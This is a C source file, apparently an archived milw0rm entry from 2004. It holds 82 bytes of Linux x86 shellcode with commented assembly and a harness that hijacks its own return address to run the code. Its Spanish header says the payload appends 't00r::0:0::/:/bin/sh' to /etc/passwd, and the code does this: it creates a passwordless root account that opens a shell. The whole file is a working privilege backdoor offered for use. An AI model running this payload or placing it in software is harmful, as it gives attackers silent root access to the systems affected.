53 lines
No EOL
2 KiB
C
53 lines
No EOL
2 KiB
C
/*
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* s0t4ipv6@shellcode.com.ar
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* 0x14abril0x7d2
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*
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* 82 bytes
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* Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd
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*
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* Encriptada en http://www.shellcode.com.ar/linux/lnx-t00r-cr1.c
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*
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*/
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#include <stdio.h>
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// Shellcode // Asm Code
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char shellcode[]=
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"\x31\xc0" // xorl %eax,%eax
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"\x50" // pushl %eax
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"\x68\x73\x73\x77\x64" // pushl $0x64777373
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"\x68\x63\x2f\x70\x61" // pushl $0x61702f63
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"\x68\x2f\x2f\x65\x74" // pushl $0x74652f2f
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"\x89\xe3" // movl %esp,%ebx
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"\x8d\x48\x02" // leal 0x2(%eax),%ecx
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"\x8d\x40\x05" // leal 0x5(%eax),%eax
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"\xcd\x80" // int $0x80
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"\x89\xc3" // movl %eax,%ebx
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"\x87\xca" // xchgl %ecx,%edx
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"\x31\xc9" // xorl %ecx,%ecx
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"\xb0\x13" // movb $0x13,%al
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"\xcd\x80" // int $0x80
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"\x51" // pushl %ecx
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"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
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"\x68\x3a\x2f\x62\x69" // pushl $0x69622f3a
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"\x68\x30\x3a\x3a\x2f" // pushl $0x2f3a3a30
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"\x68\x3a\x3a\x30\x3a" // pushl $0x3a303a3a
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"\x68\x74\x30\x30\x72" // pushl $0x72303074
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"\x8d\x41\x04" // leal 0x4(%ecx),%eax
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"\x89\xe1" // movl %esp,%ecx
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"\xb2\x14" // movb $0x14,%dl
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"\xcd\x80" // int $0x80
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"\x31\xc0" // xorl %eax,%eax
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"\xb0\x06" // movb $0x6,%al
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"\xcd\x80" // int $0x80
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"\x40" // incl %eax
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"\xcd\x80"; // int $0x80
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main() {
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int *ret;
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ret=(int *)&ret+2;
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printf("Shellcode lenght=%d\n",strlen(shellcode));
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(*ret) = (int)shellcode;
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}
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// milw0rm.com [2004-09-12]
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